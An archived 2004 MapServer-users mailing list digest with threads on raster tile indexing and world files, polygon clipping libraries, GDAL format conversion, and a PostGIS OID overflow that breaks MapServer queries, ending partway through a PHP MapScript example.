i'll try tou explain you my situation! What format are the raster files in now,=20 The raster files are in jpg format. They are a set of 3 tiles NOT GEOREFERENCED (of course, they are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced) representing the footprints of the tiles. In tile.shp, I created a field (Path) including the absoulte path to tiff tiles on my disk (ex. /var/www/.....F4-C4.tif).Now, i converted the jpg files in tiff files, without the world files. I use this mapfile configuration: LAYER NAME "pannelli" STATUS ON TYPE RASTER TILEINDEX "./tile.shp" TILEITEM "Path" END I run maplab, but an error occurs: unable to open tiff files: Description=09 Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php=09 Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php=09 Unable to open world file for reading. in /maplab/htdocs/common/wrapper/drawmap.php=09 Failed to draw layer named 'pannelli'. in /maplab/htdocs/common/wrapper/drawmap.php=09 So, i created some empty world files! This time, maplab runs without error, but it doesn't show me the tiles. It shows me only a blank page. Where is the problem? and what geographic reference data do you have for them (and in what format)? =09 - Ed =09 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 =20 =09 -----Original Message----- From: Antonio Cosenza [mailto:antonio.cosenza at polito.it]=20 Sent: Friday, April 30, 2004 5:43 AM To: Ed McNierney; mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] world files and tile indexing =09 so, i need to convert the raster tiles in tiff format, without world files? Right? =09 thanks =09 Ed McNierney wrote: =09 =20 Antonio - =09 Yes, as long as the georeference information is there for the tile=20 index to be created (and for the image to be rendered properly). =20 GeoTIFFs can be used in a TILEINDEX layer without world files. =09 - Ed =09 Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 =09 -----Original Message----- From: Antonio Cosenza [mailto:antonio.cosenza at polito.it] Sent: Thursday, April 29, 2004 2:40 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] world files and tile indexing =09 Hi everyvody, is it possible to use tile indexing without world file? =09 thanks _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu =09 http://lists.gis.umn.edu/mailman/listinfo/mapserver-users =09 =09 =20 =09 =20 =09 =09 =09 _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users =09 =20 ------_=_NextPart_001_01C42FA3.3437712E Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable
Antonio -
 
Thanks - that is very = helpful!
 
Things seem fine, but you need to create = georeference data=20 for the images in a way that can be used - the JPG files could have = world files=20 (.JGW files) or the TIF files could have world files (.TFW) but you need = them.  You need to create these world files.  You should try = to read=20 the coordinates from the shapefile (use shpdump) and you need to = calculate the=20 values for the world files.  With only three files you can = relatively=20 easily do this by hand.
 
The shapefile polygons should give you the = upper-left=20 corner coordinate of each tile, and you should be able to calculate the = size of=20 each pixel in X and Y units from the shapefile polygons and information = about=20 how many pixels wide and high each image is (use = tiffinfo).
 
    - Ed

Ed McNierney
President and Chief = Mapmaker
TopoZone.com /=20 Maps a la carte, Inc.
73 Princeton Street, Suite 305
North = Chelmsford,=20 MA  01863
ed at topozone.com
(978) 251-4242 =



From: Antonio Cosenza=20 [mailto:antonio.cosenza at polito.it]
Sent: Saturday, May 01, = 2004 6:18=20 AM
To: mapserver-users at lists.gis.umn.edu
Subject: = Re:=20 [Mapserver-users] world files and tile indexing


It would help if you could explain what =
you're trying to do!  
ok,=20 i'll try tou explain you my situation!
What
format are the raster files in now, 
The raster files = are in=20 jpg format.  They are a set of 3 tiles NOT GEOREFERENCED (of = course, they=20 are jpg!). But, i have a shapefile, called tile.shp (so, georeferenced)=20 representing the footprints of  the tiles. In tile.shp, I created a = field=20 (Path) including the absoulte path to tiff tiles on my disk (ex.=20 /var/www/.....F4-C4.tif).Now,  i converted the jpg files in tiff = files,=20 without the world files. I use this mapfile=20 configuration:

 LAYER
    NAME=20 "pannelli"
    STATUS ON
    TYPE=20 RASTER
    TILEINDEX = "./tile.shp"
   =20 TILEITEM "Path"
  END

I run maplab, but an error occurs: = unable=20 to open tiff files:

Description
Unable to open world file for reading. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Unable to open world file for reading. in=20 /maplab/htdocs/common/wrapper/drawmap.php
Failed to draw layer named 'pannelli'. in=20 = /maplab/htdocs/common/wrapper/drawmap.php

So,=20 i created some empty world files! This time, maplab runs without error, = but it=20 doesn't show me the tiles. It shows me only a blank page.
Where is = the=20 problem?


and what geographic reference data
do you have for them (and in what format)?

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242 =20

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.i=
t]=20
Sent: Friday, April 30, 2004 5:43 AM
To: Ed McNierney; mapserver-users at lists.g=
is.umn.edu
Subject: Re: [Mapserver-users] world files and tile indexing

so, i need to convert the raster tiles in tiff format, without world
files? Right?

thanks

Ed McNierney wrote:

  
Antonio -

Yes, as long as the georeference information is there for the tile=20
index to be created (and for the image to be rendered properly). =20
GeoTIFFs can be used in a TILEINDEX layer without world files.

	- Ed

Ed McNierney
President and Chief Mapmaker
TopoZone.com / Maps a la carte, Inc.
73 Princeton Street, Suite 305
North Chelmsford, MA  01863
ed at topozone.com
(978) 251-4242

-----Original Message-----
From: Antonio Cosenza [mailto:antonio.cosenza at polito.i=
t]
Sent: Thursday, April 29, 2004 2:40 PM
To: mapserver-users at lists.g=
is.umn.edu
Subject: [Mapserver-users] world files and tile indexing

Hi everyvody,
is it possible to use tile indexing without world file?

thanks
_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users


=20

    



_______________________________________________
Mapserver-users mailing list
Mapserver-users at lists.g=
is.umn.edu
http:/=
/lists.gis.umn.edu/mailman/listinfo/mapserver-users

  

------_=_NextPart_001_01C42FA3.3437712E-- --__--__-- Message: 2 Date: Sat, 01 May 2004 15:03:03 -0400 From: Frank Warmerdam To: "Ryan, Adam" Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Shapelib, GPC, PHP, and polygon clipping Ryan, Adam wrote: > Steve, Frank, etc... > > A while back Steve Lime wrote in response to a request for polygon clipping > code. > > http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0201/msg00094.html > > He suggested using the GPC library. I checked this out and was able to get > it to work. > > Is it worth trying to use GPC with either PHP mapscript or shapelib directly > and write a little routine to grab the shapes in question, convert them to > gpc ascii format, run the clip operation, and convert back to a shapefile > result? In PHP I could build the ASCII files, then call a gpc executable, > and then translate the ASCII result back into a new shapefile. > > Am I exploring old technology? Is there a better way? Seems like a lot of > steps but all the really hard work has been done and it's just a matter of > reformatting data to work with the different tools. Adam, Invoking GPC externally via an ascii file interface may be too slow depending on your needs but it is certainly doable. From a more general point of view, it is my hope to interface the GEOS library (http://geos.refractions.net) with OGR at some point with a convenient mechanism to convert OGR geometries into a form usable in GEOS. So from my point of view a GEOS is the "future" of complex geometry operations in OGR (and indirectly shapelib). In fact, I would like to see a nice SWIG'ed interface to GEOS so that it can be easily used in most/all of the mapscript supported languages. GEOS is the library used by PostGIS for geometry operations, but it is independent of PostGIS. I think it does more than GPC. I was also slightly soured on GPC because of problematic licensing issues as I recall. So, if you have a particular need that is satisfied by passing geometries to GPC then by all means go ahead. However, I don't forsee it as being of strategic value. If you are interested in cooperating on swigged interfaces for GEOS and closer integration with OGR, Shapelib or MapServer geometries then perhaps we could get something going. I hadn't really been intending to get started on this yet though, so you might get stuck doing quite a bit of the heavy lifting. Best regards, -- ---------------------------------------+------------------------------------ -- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent --__--__-- Message: 3 Date: Sat, 01 May 2004 15:17:56 -0400 From: Frank Warmerdam To: "Jason M. Nielsen" Cc: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] arcgrid to ascii(etc) Jason M. Nielsen wrote: > Anyone know of software that can convert arcgrid .adf files to ascii? > _______________________________________________ Jason, GDAL read Arc/Info binary grid files in .adf format and can export a variety of formats including Arc/Info ASCII Grid format which is ... ASCII. eg. gdal_translate -of AAIGrid in_cov/w001001.adf out.grd Best regards, -- ---------------------------------------+------------------------------------ -- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent --__--__-- Message: 4 From: "Mike Juvrud" To: Date: Sat, 1 May 2004 18:23:21 -0500 Subject: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum I'm a MapServer/PHP MapScript newbie, looking for online reference materials, resources, sample code, etc. (beginner to advanced)...I would appreciate links to anything you might recommend. (english or deutsch) (I have already downloaded and gone through the tutorials, references, samples available on the mapserver & mapscript site.) Also - Is there a Mapserver/Mapscript forum/bulletin board online? Will sum, Mike Juvrud --__--__-- Message: 5 From: "Eduardo Patto Kanegae" Date: Sat, 1 May 2004 23:58:10 -0300 To: "Mike Juvrud" CC: mapserver-users at lists.gis.umn.edu Subject: Re: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum at the official website , section Documentation, u will find all u're looking for... for deutsch reference , take a look at www.mapmedia.de ... i think they have a book about mapserver. Eduardo Patto Kanegae http://www.consultoria.eti.br UIN: 303747254 I Encontro Nacional de Usu?rios MapServer - http://mapserver.cttmar.univali.br/encontro2004 Projeto MapServer Brasil - http://mapserver.cttmar.univali.br ***Fim da Mensagem / End of Message *** On Sat, 1 May 2004 18:23:21 -0500, "Mike Juvrud" escreveu: > De: "Mike Juvrud" > Data: Sat, 1 May 2004 18:23:21 -0500 > Para: > Assunto: [Mapserver-users] Looking for reference links and online MapServer/MapScript Forum > > I'm a MapServer/PHP MapScript newbie, looking for online reference > materials, resources, sample code, etc. (beginner to advanced)...I would > appreciate links to anything you might recommend. (english or deutsch) > > (I have already downloaded and gone through the tutorials, references, > samples available on the mapserver & mapscript site.) > > Also - Is there a Mapserver/Mapscript forum/bulletin board online? > > Will sum, > > Mike Juvrud > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > --__--__-- Message: 6 Date: Sat, 1 May 2004 22:59:22 -0400 From: "Charlton Purvis" To: "PostGIS Users Discussion" , Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users --__--__-- Message: 7 Date: Sat, 1 May 2004 20:11:41 -0700 From: "Gregory S. Williamson" To: "PostGIS Users Discussion" , Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ? If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query. It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed. Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out) Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ? Very puzzling, I agree. Greg W. -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 7:59 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users --__--__-- Message: 8 Date: Sat, 1 May 2004 23:42:34 -0400 From: "Charlton Purvis" To: "PostGIS Users Discussion" , Subject: [Mapserver-users] RE: [postgis-users] RE: gone are my query results OK, Greg, I think we might be onto something. But it still looks very grim. I turned on all the logging, and I notice that MS sends it this query: LOCATION: pg_parse_query, postgres.c:464 LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)),'NDR '),OID::text from sst_map WHERE (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) OK. That's good. Because if I stick the SELECT part at a psql prompt, I get back the row I want. And I also notice that its OID is 2185295089. But if I look at the last sql statement in the log, it's another cursor, but the OID is wrong. LOCATION: pg_parse_query, postgres.c:464 LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT station_id::text,time_stamp::text,z::text,label_z::text,temperature_celcius: :text,temperature_fahrenheit::text,value_temperature_celcius::text,value_tem perature_fahrenheit::text,lon::text,lat::text,title::text,institution::text, institution_url::text,institution_dods_url::text,source::text,refs::text,con tact::text,report_time_stamp::text,asbinary(force_collection(force_2d(the_ge om)),'NDR') from sst_map WHERE OID = 2147483647 So had they kept the OID, I would be in good shape. This isn't looking good!!! Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 11:11 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results If you turn on the logging of statements in postgres and run the mapserver side of things, does the query show up in the logs ? If the query does not appear then I'd suspect networking or permissions or some darn thing keeping postgres from ever seeing the query. It it does show up then maybe the problem is in the return trip to MS or in the processing of that data (perhaps your OID suspicions), since it sounds as if the query itself can be processed. Any changes to *anything* on either server and anything in between ? (not likely but always worth ruling out) Or, shot in the dark, something messing with TOLERANCE so no points are selected in a query ? Very puzzling, I agree. Greg W. -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 7:59 PM To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu Cc: Subject: RE: [postgis-users] RE: gone are my query results Thanks for your reply, Gregory. I'm forwarding this onto the MS folks to see if they have any pearls of wisdom. Everything looks great in the db. If I render a map, I see all the points correctly. If I take that query and plug it in to the command line, I see the rows. But the moment I try to do either a cgi query, WFS query, or a PHP query, I get nothing back. No error message. I'm actually getting panicky which isn't any fun. Has anyone seen anything like this before? Queries rely on OID's and SRID's. Is there any way they could have gotten mucked up? Can I somehow refresh them? Thanks, Charlton -----Original Message----- From: Gregory S. Williamson [mailto:gsw at globexplorer.com] Sent: Sat 5/1/2004 6:20 PM To: PostGIS Users Discussion Cc: Subject: [postgis-users] RE: gone are my query results If you do the query directly to postgres (via psql or pgAdmin or whatever) does the query return results ? If so, then my guess is that this is not a database error, at least not directly. If ot then yes, it would seem that somehow the postGIS itself has gottent snarfled. The change you made relating the geometryColumns doesn't sound to me like it should effect queries unless somehow the SRID info for the tables in your mapserver queries got clobbered; should be easy enough to confirm that this data is ok. I am not familiar enough with PHP and mapserver to have a clue; does the mapserver log itself show anything ? Not much help, I'm afraid, but perhaps posting this to the MMS list would add some more knowledge to the issue at hand ? Greg Williamson DBA GlobeXplorer LLC -----Original Message----- From: Charlton Purvis on behalf of Charlton Purvis Sent: Sat 5/1/2004 2:46 PM To: PostGIS Users Discussion Cc: Subject: gone are my query results Hi, folks: Bizarre and unnerving problem here. Up until last night, mapping was fine and point-query was fine. Now it appears that the mapping is still great, but the point query and WFS are toast. I don't get any errors in pgsql.log or php.log. I get . . . nothing. Even going mapserv cgi query returns empty for a query I know should work. Maybe I'm being taught a lesson. In a separate database, I noticed that addgeometrycolumn was taking too long -- I create about 400 smaller tables per day. So I commented out fix_geometry_columns(); from the addgeometrycolumn function and did it once I had finished creating all my new tables. So am I paying the price? Has this corrupted this database as well as my other? If all this is OID stuff, is there any way to refresh all OID's? Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. Thanks, Charlton _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users _______________________________________________ postgis-users mailing list postgis-users at postgis.refractions.net http://postgis.refractions.net/mailman/listinfo/postgis-users --__--__-- Message: 9 Date: Sat, 01 May 2004 21:08:54 -0700 From: Paul Ramsey Subject: Re: [Mapserver-users] RE: [postgis-users] RE: gone are my query results To: Charlton Purvis Cc: PostGIS Users Discussion , mapserver-users at lists.gis.umn.edu Got your back, Charlton :) The problem is that your PostgreSQL oids are larger than the mapserver row number variable can store. The oid is larger than a signed 32 bit integer can store. So, solution. Do not use oid as your "unique" field. Make use of the "using unique" clause in your data statement, and reference a different unique field in your table. Make sure that field is indexed. If you have loaded your data with shp2pgsql, you probably have a 'gid' field you can use that is a primary key (and therefore already indexed). Yours, Paul On Saturday, May 1, 2004, at 08:42 PM, Charlton Purvis wrote: > OK, Greg, I think we might be onto something. But it still looks very > grim. > > I turned on all the logging, and I notice that MS sends it this query: > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > temperature_celcius::text,asbinary(force_collection(force_2d(the_geom)) > ,'NDR'),OID::text from sst_map WHERE > (date_trunc('hour',report_time_stamp + interval '1 hour' * -04) = > date_trunc('hour',timestamp without time zone '2004-05-01 22:00:00') > and (label_z <= 5 or label_z is null)) and (the_geom && setSRID( > 'BOX3D(-83.0454044480208 24.3838940085927,-82.6541628156105 > 24.775135641003)'::BOX3D,find_srid('','sst_map','the_geom') )) > > OK. That's good. Because if I stick the SELECT part at a psql > prompt, I get back the row I want. And I also notice that its OID is > 2185295089. > > But if I look at the last sql statement in the log, it's another > cursor, but the OID is wrong. > > LOCATION: pg_parse_query, postgres.c:464 > LOG: 00000: statement: DECLARE mycursor BINARY CURSOR FOR SELECT > station_id::text,time_stamp::text,z::text,label_z::text,temperature_cel > cius::text,temperature_fahrenheit::text,value_temperature_celcius::text > ,value_temperature_fahrenheit::text,lon::text,lat::text,title::text,ins > titution::text,institution_url::text,institution_dods_url::text,source: > :text,refs::text,contact::text,report_time_stamp::text,asbinary(force_c > ollection(force_2d(the_geom)),'NDR') from sst_map WHERE OID = > 2147483647 > > So had they kept the OID, I would be in good shape. > > This isn't looking good!!! > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 11:11 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > > > > > If you turn on the logging of statements in postgres and run the > mapserver side of things, does the query show up in the logs ? > > If the query does not appear then I'd suspect networking or > permissions or some darn thing keeping postgres from ever seeing the > query. > > It it does show up then maybe the problem is in the return trip to MS > or in the processing of that data (perhaps your OID suspicions), since > it sounds as if the query itself can be processed. > > Any changes to *anything* on either server and anything in between ? > (not likely but always worth ruling out) > > Or, shot in the dark, something messing with TOLERANCE so no points > are selected in a query ? > > Very puzzling, I agree. > > Greg W. > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 7:59 PM > To: PostGIS Users Discussion; mapserver-users at lists.gis.umn.edu > Cc: > Subject: RE: [postgis-users] RE: gone are my query results > Thanks for your reply, Gregory. I'm forwarding this onto the MS > folks to see if they have any pearls of wisdom. > > Everything looks great in the db. If I render a map, I see all the > points correctly. If I take that query and plug it in to the command > line, I see the rows. But the moment I try to do either a cgi query, > WFS query, or a PHP query, I get nothing back. No error message. > > I'm actually getting panicky which isn't any fun. Has anyone seen > anything like this before? > > Queries rely on OID's and SRID's. Is there any way they could have > gotten mucked up? Can I somehow refresh them? > > Thanks, > > Charlton > > -----Original Message----- > From: Gregory S. Williamson [mailto:gsw at globexplorer.com] > Sent: Sat 5/1/2004 6:20 PM > To: PostGIS Users Discussion > Cc: > Subject: [postgis-users] RE: gone are my query results > > > > > If you do the query directly to postgres (via psql or pgAdmin or > whatever) does the query return results ? > > If so, then my guess is that this is not a database error, at least > not directly. If ot then yes, it would seem that somehow the postGIS > itself has gottent snarfled. > > The change you made relating the geometryColumns doesn't sound to me > like it should effect queries unless somehow the SRID info for the > tables in your mapserver queries got clobbered; should be easy enough > to confirm that this data is ok. > > I am not familiar enough with PHP and mapserver to have a clue; does > the mapserver log itself show anything ? > > Not much help, I'm afraid, but perhaps posting this to the MMS list > would add some more knowledge to the issue at hand ? > > Greg Williamson > DBA > GlobeXplorer LLC > > -----Original Message----- > From: Charlton Purvis on behalf of Charlton Purvis > Sent: Sat 5/1/2004 2:46 PM > To: PostGIS Users Discussion > Cc: > Subject: gone are my query results > Hi, folks: > > Bizarre and unnerving problem here. > > Up until last night, mapping was fine and point-query was fine. Now > it appears that the mapping is still great, but the point query and > WFS are toast. I don't get any errors in pgsql.log or php.log. I get > . . . nothing. Even going mapserv cgi query returns empty for a query > I know should work. > > Maybe I'm being taught a lesson. In a separate database, I noticed > that addgeometrycolumn was taking too long -- I create about 400 > smaller tables per day. So I commented out fix_geometry_columns(); > from the addgeometrycolumn function and did it once I had finished > creating all my new tables. So am I paying the price? Has this > corrupted this database as well as my other? > > If all this is OID stuff, is there any way to refresh all OID's? > > Restarted . . . yes. VACUUM and ANALYZE'd . . . yes. > > Thanks, > > Charlton > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > > > _______________________________________________ > postgis-users mailing list > postgis-users at postgis.refractions.net > http://postgis.refractions.net/mailman/listinfo/postgis-users > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > Paul Ramsey Refractions Research Email: pramsey at refractions.net Phone: (250) 885-0632 --__--__-- _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users End of Mapserver-users Digest From jnielsen at aero-graphics.com Mon May 3 09:26:49 2004 From: jnielsen at aero-graphics.com (Jason M. Nielsen) Date: Mon, 3 May 2004 10:26:49 -0600 Subject: [Mapserver-users] arcgrid to ascii(etc) In-Reply-To: <4096549C.7020309@pobox.com> References: <1083357821.4092ba7da1ffa@www.agi-lan.com> <4093F7E4.6000400@pobox.com> <1083591572.40964b9440993@www.agi-lan.com> <4096549C.7020309@pobox.com> Message-ID: <1083601609.409672c9e551f@www.agi-lan.com> Quoting Frank Warmerdam : > Jason, > > I hope the above isn't the complete error message. It should have reported > something about AAIGrid does not support Create() method. For gdalwarp you > will have to output to a format that supports random writing of raster data > (aka has a Create() method - such as GeoTIFF). Then translate to Arc/Info > ASCII Grid with gdal_translate. Part of my cut and past didnt make it into the email. Output driver `AAIGrid' not recognised or does not support direct output file creation. The following format drivers are configured and support direct output: VRT: Virtual Raster GTiff: GeoTIFF NITF: National Imagery Transmission Format HFA: Erdas Imagine Images (.img) ELAS: ELAS MEM: In Memory Raster BMP: MS Windows Device Independent Bitmap PNM: Portable Pixmap Format (netpbm) ENVI: ENVI .hdr Labelled PAux: PCI .aux Labelled MFF: Atlantis MFF Raster MFF2: Atlantis MFF2 (HKV) Raster Anyhow, I was unaware of not being able to go directly through gdalwarp. I tried the gdal_translate and it seems to have had no problem. Thanks! From dmorissette at dmsolutions.ca Mon May 3 09:36:17 2004 From: dmorissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 03 May 2004 12:36:17 -0400 Subject: [Mapserver-users] php mapscript - pasteimage In-Reply-To: <200405031205.i43C5jFS017932@lists.gis.umn.edu> References: <200405031205.i43C5jFS017932@lists.gis.umn.edu> Message-ID: <40967501.9030005@dmsolutions.ca> This is a multi-part message in MIME format. --------------080500060909030205020503 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit publiek at home.nl wrote: > > I want to show several layers on top of each other. > How do i combine the images? > Just calling $layer->draw($image) for each layer will do the trick. You need to use $map->prepareImage() to create a balnk image first. > I looked at pasteimage, but the examples provided with mapserver 4 dont work. (Would be nice if someone updated these) > > Anyone willing to provide me a simple example? > Thanks for pointing that. I have fixed the mapscript/php3/examples/test_layer_mask.phtml forV4.x and updated the copies in CVS for v4.2 and 4.3. I also attached a copy of the updated script. Daniel -- ------------------------------------------------------------ Daniel Morissette dmorissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ --------------080500060909030205020503 Content-Type: text/html; name="test_layer_mask.phtml" Content-Transfer-Encoding: 7bit Content-Disposition: inline; filename="test_layer_mask.phtml"

PHP/MapScript layer mask test

SelectOutputFormat("PNG"); //////// // Draw the base layers into an imageObj $img1 = $map->prepareimage(); $layer = $map->getLayerByName("bathymetry"); $layer->set("status", 1); $layer->draw($img1); //$img = $map->draw(); $url = $img1->saveWebImage(); echo "

Draw the base layers into an image...

